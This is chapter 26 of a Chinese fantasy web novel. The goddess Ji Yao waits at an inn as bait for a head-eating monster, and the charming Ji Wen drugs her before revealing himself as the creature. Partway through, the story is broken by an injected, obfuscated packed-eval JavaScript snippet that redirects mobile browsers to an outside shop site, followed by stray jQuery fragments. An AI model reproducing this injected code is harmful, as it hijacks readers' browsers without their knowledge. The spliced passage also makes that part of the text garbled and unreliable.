26. 羽民国现噬头怪(8)

作品:《山海归

    当时姬瑶嘴里正含了块肉饼,闻言往下狠狠一咽,然后,噎着了。


    神女捧着喉咙憋得脸色涨红,双眼翻白……


    姬轩辕无奈摇了摇头,伸手过来在她额头上一拍,她的脖子陡然变粗了一圈,几乎与脑袋一般大,那颗嚼成一团的肉饼咕噜一下滚进了胃里。


    姬瑶捧着自己的粗脖子,连低头都困难,狼狈又惊讶地盯着姬轩辕,而后反应过来,闭了闭眼,将自己恢复原样。


    她面红耳赤盯了姬轩辕一会儿,欲言又止,而后转向野猪精阿狸:“你方才的话,再说一遍。”


    阿狸那话本就是脱口而出,说完就吓傻了,她并不想再说一遍。


    这时,姬轩辕耳朵微微一动,他慢慢喝完最后一口粥,用帕子擦了擦嘴,道:“走罢,去捉怪。”


    阿狸一颗悬着的心普通一下落下了地。


    另一边,仓澜和离光在赌场不远处的树上窝了一宿,等着那叫阿秋的从赌场出来。


    他们的计划是,让死了妹妹的阿秋丧心病狂地再去赌回钱,赌输以后再故技重施,卖一次自己的“情人”,而这“情人”自然就是神通广大的姬瑶神君。


    两位大神看守一个手无缚鸡之力的鸟人,实在是杀鸡用牛刀,但大帝之命,不可不尊,于是命苦且无聊的两人边跟边说起关于姬轩辕与姬瑶的一桩旧事。


    说为何轩辕大帝对这位神女宠爱有加,时时带在身边呢?那便要从大帝还未受神的时候说起。


    姬轩辕幼时姓公孙,单名一个衍,他在6岁时便父母双亡,成了孤儿。因他家是从别处迁徙过来昆仑寨的,周边无亲无故,只有一些邻居还能照看一二,便是大帝的那位亲姑姑公孙罗当时也是鞭长莫及,顾不上他,于是年仅六岁的公孙衍,便要学会自己独自生活。


    虽说大帝自小聪明伶俐,经常能够猎得一些蠢笨的小动物或者捡些野果子回家,也不至于饿死,但毕竟年幼不晓事。


    那年冬天大雪,他在山中做了个陷阱等待猎物,左等不来,右等不来,最后小小的人趴在雪中冻得半死不活,昏睡了过去。


    他养的宠物蛇——也就是姬瑶久候他不归,拼着自己被冻死将人生生拖回了家中,还在小公孙衍的身旁生了一堆火。虽然公孙衍活过来了,蛇却去了半条命,几乎醒不过来。


    “这便是大帝对神女不弃不舍的情意,”离光大剌剌地叹道,“所以后来大帝受神,唯独赐予神女丰厚的神力,且时时带在身边,谁也抢不了她的风头去!!嘿嘿,咱们羡慕也羡慕不来的,都是命也。”


    仓澜原身是只狸猫,人族这些往事他多半都不清楚,一时听得出神,点点头,却担心地问:“那……那神女险些冻死,最后是怎么活过来的?”


    离光瞥他一眼,笑道:“因为炎帝姜石年呗,他本就是神农后裔,自小习医,于这方面很有些本事。那会儿他和大帝是邻居,大帝醒了以后揣着小蛇就往他家跑,但那会儿炎帝年纪也不大,据说也是稀里糊涂用了一些药,才保住神女性命的。”


    仓澜若有所思点点头:“哦……这倒是听说过,说他二人是同村,神帝赋神原本是先挑中炎帝的……”


    离光闻言立刻吹胡子瞪眼:“胡说!那是蚩尤一党胡说八道!神帝自然是挑中大帝的,大帝神武果决,铁拳铁腕灭除嗜杀残暴之兽,天下才能归于平静安宁,若是换那姜石年,你这等低阶兽类,还能存活得下来?”


    仓澜想起自己曾经东躲西藏,遍地血腥的日子,打了个冷战,猛摇头。


    离光满意地哈哈大笑:“这不就是了,你我都是沾光的,当时神帝赋神给大帝,却因神力太过汹涌庞大,这才波及了我们整座昆仑山,乃至方圆百里内的花花草草山山水水还有你这等小动物全都获得了神力,昆仑山也由此成为一座仙山……哎,”他说着深深叹了一口,“我本该留在仙山颐养天年的,却因能力过分出众,被大帝派到这里镇守一方,实在是,可惜,可惜啊!”


    仓澜翻了个白眼,忍不住阴阳怪气道:“真正有本事的才是都留在昆仑山镇守了,咱们这些没什么本事的才会被下放到地方,当我是傻子什么都不知道呢,还能信你这鬼话?”


    离光胡子翘起半,怒目圆瞪了半晌,最终偃旗息鼓:“呵,我不跟你一只小狸猫计较!”


    狸猫仓澜:“……你倒是……欸,出来了。”


    赌坊门口,阿秋垂头丧气一脸灰败地走出来,仓澜远远朝他“喵”了声,将他引到偏僻的地方。


    “如何?”离光道,“约定了?”


    阿秋豪赌了一夜,眼里布满血丝,眼周却深深凹陷。他无神地看了眼离光,咧嘴就开始哭:“我原本是赢了的……”


    离光和仓澜:“……”


    赢你大爷。


    两人架着阿秋来到上次他妹妹出事的客栈,也在易物街,开了一间房。


    恰逢今日是羽民国的大集之日,街道两边摆满了货摊,草药灵芝层出不穷,人来鸟往讨价还价好不热闹。


    姬瑶爱热闹,被这些琳琅满目的东西吸引了目光,一路走走停停买东买西,统共没多远的路,被她走了足足两刻钟,先前那什么“不如你嫁给大帝”这种不靠谱的提议已经被她抛到九霄云外,忘了个一干二净。


    最终还是仓澜再三催促,几人才姗姗来到指定客栈。


    这间客栈要比“风月楼”朴素很多,没有花里胡哨的装点,就是简单的小木屋,四面木板还漏风。


    按照计划,阿秋赌钱又输了,他将出卖“情人”给赌坊老板,不过得先验货。


    姬瑶对着铜镜照了照,总觉得这样一副尊容可能验货不过关,她很想念自己尖嘴吊眉的那张蛇精脸……被所有人一致否决了。


    姬瑶只好不情不愿嘟嘟囔囔坐在床榻边,百无聊赖等着凶手来。


    其余人都去隔壁房间等着了,这间房里只剩阿秋和姬瑶。姬瑶嗑着方才从外面买来的瓜子,看着两股战战眼圈发黑的阿秋,问道:“你在赌场都爱赌什么?”


    阿秋一夜没睡觉,此时些微放松,倒有些眼皮打架,他一听,忙睁开眼回道:“赌……赌大小。”


    “这有什么好赌的?还能把你妹妹赌进去,真厉害。那赌大小是怎么个赌法?”


    “啊?”阿秋似乎不太明白居然有人连赌大小都不知道,有些吃惊,便磕磕巴巴讲了。


    姬瑶听得火冒三丈:“这么简单你都能把妹妹赌进去?!”


    阿秋梗着脖子辩解:“说得简单,你去试试就知道了,那玩意儿它就是不好猜啊!你押小,他开大,你押大,他开小,就是全屏运气嘛,我一开始运气很好的,谁知道最近走了什么霉运……”


    姬瑶吐掉瓜子壳:“且,小样,试试就试试,抓了妖怪我就去,我还不信了……”


    这时,门外有人敲门。


    阿秋一愣,脸色比方才还要难看,他小心翼翼看了眼姬瑶,姬瑶示意他回话,他只好抖着嗓子道:“进……进来吧。”


    门打开后,是个五大三粗的男人,纯人种,不是鸟人。


    他一进门视线就开始乱瞟,看见姬瑶后,眼睛微微一亮,笑道:“哟,这小娘子……你深藏不漏啊姜老大。”


    约莫是怕吓跑了姬瑶坏了他买卖,那人十分克制地没有多说,然后就朝那阿秋使眼色。


    也不知他们眉来眼去答成了什么协议,阿秋说了句“我出去有点事儿”,就跟着那人离开了。


    屋内终于只剩下姬瑶牙嗑瓜子的声音。


    神女呸掉嘴里的壳,静静等待着。看起来,她应该已经被验了货了,接下来,是不是就该那吃人的怪东西登场?


    姬瑶莫名有些兴奋。


    很想亲眼看看那究竟是个什么怪东西,如此的品味独特,竟专挑人头啃。


    但她看了眼窗外,虽然光线昏暗,可毕竟还是白天,若是嗜人头的怪物晚上才出来,她岂不是要在这儿等到晚上去?


    姬瑶放下手里的瓜子拍了拍,无聊地踱步到窗边,伸手掀开窗扇向下看去。


    今日集市果真是热闹,姬瑶喜滋滋地看着小飞鸟们端着个木框在低空中飞来飞去地吆喝,伸手招来一只,问道:“你这里头装着的黑漆漆的一片一片是什么?”


    小鸟人热情地介绍:“鹿茸呀!给你夫君买一些回去,强身健体之良品哦!我们这可是深林鹿茸……”


    姬瑶脑中蓦地出现姬轩辕的那张脸,她竟下意识地将他与“夫君”二字联系起来?!


    下一刻便吓得她将手中的鹿茸给扔掉。


    她嫁给姬轩辕??


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957269|193186||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    公孙罗会宰了她煲汤的!


    这时,楼下忽然出现一个略觉熟悉的身影,不知有什么心灵感应,那人在经过姬瑶窗下之时,忽然抬头看了眼。


    正是姞温!


    那个昨夜她想娶,今早还在和她打招呼的美男子!


    姬瑶立刻把姬轩辕之流抛诸脑后,几根手指动得像水草,同人打招呼:“好巧呀,姞公子。”


    姞温先是一愣,既然绽放一个比花儿还美的笑容,露出一口大白牙:“你怎么在这儿?”


    姬瑶:“嗯……我在这儿等朋友。”


    姞温又一愣,然后笑道:“我路过,那就不耽……”


    “我朋友还没来,不耽误什么的。”姬瑶生怕人就此又错过,忙打断对方,心里电光石火之间决定择日不如撞日地再与人培养一下感情,反正怪物来了她也不害怕,她也能保护他,总比自己一个人无聊地等在这儿要好。


    于是道:“公子若不忙,上来说会儿话,陪我等一等呗。”


    姞温:“……啊?”


    姬瑶露出一个可爱的微笑,眨眨眼。


    姞温无奈一笑:“那好吧。”


    隔壁的离光嘿嘿一笑,正想说话,被仓澜踩了一脚。


    大帝面沉似水地给自己倒茶,阿狸十分狗腿地上前来帮忙,然后道:“大帝,需要我去看看神女吗?”


    姬轩辕不置可否,却在阿狸小心翼翼退下之时冷冷道:“不必了。由她去吧。”


    阿狸:“……”


    什么意思?


    这是大帝彻底放弃神女的意思?


    他终于发现姬瑶神女是个不堪托付的渣女了?


    另一边,渣女姬瑶欢欢喜喜地开门迎客,把她的“心上人”招呼进了门。


    姞温看了眼身后被拍上的房门,吓得几乎就要跑。姬瑶却亲亲热热拉着人落座,一边倒茶一边道:“不必在意我老大昨晚对你说的那些话,有我在,没人欺负得了你的。”


    姞温讪讪地端起茶杯,见姬瑶端着下巴专注地盯着自己看,道:“你们当真都是昆仑山上下来的神仙?我先前还以为你们是在说笑呢。”


    姞温一双眼睛生得好,不论何时看人都是含情脉脉秋波粼粼地,姬瑶很是喜欢。


    她点点头:“当真呢。不信你看!”


    她手指随意转了个圈,桌子上的一颗瓜子无风自动在桌子上跳起舞来。


    姞温喉咙动了动,眼睛盯着桌上的瓜子,叹道:“还真是厉害。”


    姬瑶收回手,手指轻轻敲打桌面,不甚在意地说道:“雕虫小技,不足挂齿。你若跟了我,以后我回去之后传你神力啊。”


    姞温呵呵一笑:“是么,那可真是我的荣幸了。”


    姬瑶觉得对方一颦一笑都好看,一时看得有些呆,满心都是如何把这人弄回昆仑山,如何说服姬轩辕。


    然后对方轻咳一声又问道:“你等的朋友呢?还没来么?”


    姬瑶点头:“嗯,可能晚上才会出现吧。”


    “哦,”姞温点了个头,“你是一个人来的?”


    姬瑶当然不能说隔壁还有一堆人等着埋伏,怕吓着这娇滴滴的凡人,于是又点一个头:“对。我一个人来的。”


    姞温笑笑,忽然主动给姬瑶倒茶:“那你一个人在这儿等着是有些无聊,我便陪你坐会儿吧。”


    姬瑶赏心悦目地看了会儿人,心中美滋滋的,端起茶杯就喝,咽下去后才觉得不妥。


    她砸吧砸吧嘴,觉得有些奇怪:“这水……”


    姞温面带温柔的笑意:“嗯?这水怎么了?”


    姬瑶觉得一股酸软从手脚开始蔓延,她端着的水杯哐当一声跌落在桌上,茶水打翻,顺着桌子往下滴。


    她难以置信地看向面前这个浑身神力全无,还一副娇滴滴模样的凡人,不知他是哪里来的胆子竟敢用药药她,而且这药,居然还能药倒她?!


    姞温缓缓站起来,居高临下看着姬瑶温柔道:“听说吃了神仙肉能开经脉,我也没料想今日还有这样的机缘……”


    他用腥红的舌头舔了舔自己的嘴唇,笑着笑着,一张樱桃小嘴竟越张越大,于此同时,他的脑袋猝不及防从颈子上剥落,那满口白牙见风而长,忽然每颗都变得尖锐起来。